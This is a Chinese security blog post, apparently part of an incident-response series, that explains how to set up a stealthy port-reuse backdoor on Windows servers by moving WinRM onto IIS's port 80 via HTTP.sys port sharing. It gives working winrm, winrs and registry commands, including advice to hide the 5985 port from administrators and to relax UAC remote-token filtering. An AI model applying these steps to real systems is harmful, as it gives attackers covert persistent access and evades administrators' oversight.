应急响应系列之Windows,Linux权限维持——后门篇(11-3)含三大渗透测试框架及Github项目地址以及2面题

举报
肾透侧视攻城狮 发表于 2024/10/31 19:51:40 2024/10/31
【摘要】 应急响应系列之Windows,Linux权限维持——后门篇(剧终——完结撒花)[含三大渗透测试框架及Github项目地址和24护网行动各厂商面试精题]等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!

欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]


专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS 

专栏跑道三

 ➡️ MYSQL REDIS Advance operation


专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]


专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]​

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七


➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

11.16 一条命令实现端口复用后门【综合难度较大,取材于孟极实验室】

  • 说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。
  • 对于不想看原理,只关心如何使用的宝子们可以直接跳到“0x02. 后门配置”。

11.16.1 基本原理介绍

  • 该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务

  • WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。
  • WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协使用的是HTTP

HTTP.sys驱动 

  • HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享
  • 所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口只需要各自注册的url前缀不一样即可
  • 使用如下命令可以查看所有在HTTP.sys上注册过的url前缀。
  • netsh http show servicestate
  • 实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
  •  因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。

11.16.2 后门配置

开启WinRM服务

  • 在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。
  • 对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是
    winrm quickconfig -q
  • 这条命令运行后会自动添加防火墙例外规则,放行5985端口

新增80端口Listener

  • 对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener
  • 同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
  • 使用下面这条命令即可新增一个80端口的listener
    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
  • 对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。
  •  这种情况下,老的5985端口listener还保留着

修改WinRM端口

  • 在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。
  • 通过下面这条命令即可修改端口为80
  • winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
  • 这种情况下,管理员查看端口也看不到5985开放,只开放80端口
  • 经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

11.16.3 后门连接和使用

本地配置

  • 本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
    winrm quickconfig -q
    //快速配置 WinRM 服务,使其在默认设置下启用,包括启动服务、设置所需的防火墙规则等。-q 参数表示在执行过程中不显示任何提示。
     
    winrm set winrm/config/Client @{TrustedHosts="*"}
    //将 WinRM 客户端的 TrustedHosts 设置为 "*",这允许客户端与任何主机进行远程管理连接,而不限制主机名或 IP 地址。

连接使用

  • 使用winrs命令即可连接远程WinRM服务执行命令,并返回结果
    winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
     
    //通过 WinRM 使用指定的 URL (http://www.baidu.com) 连接到远程主机,使用用户名 (administrator) 和密码 (Passw0rd) 进行身份验证,并在远程系统上执行 whoami 命令,该命令返回当前用户的身份信息。

UAC问题 USER ACCESS CONTROL

  • WinRM服务也是受UAC[用于限制应用程序和用户操作对系统的影响]影响的,所以本地管理员用户组里面只有administrator可以登录其他管理员用户是没法远程登录WinRM的
  • 允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
     
    //在注册表路径 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 下添加或修改名为 LocalAccountTokenFilterPolicy 的 DWORD 类型的值,将其数据设置为 1。/f 参数表示强制执行操作,不显示确认提示。
     
    :'reg add:在注册表中添加或修改项。
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:注册表路径。
    /v LocalAccountTokenFilterPolicy:要添加或修改的注册表值名称。
    /t REG_DWORD:指定值的数据类型为 DWORD(32 位整型)。
    /d 1:将 LocalAccountTokenFilterPolicy 的数据设置为 1,表示允许本地管理员组中的所有用户远程登录。
    /f:强制执行操作,不提示确认。'
  • 修改后,普通管理员登录后也是高权限。

Hash登录

  • 系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码
  • 因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。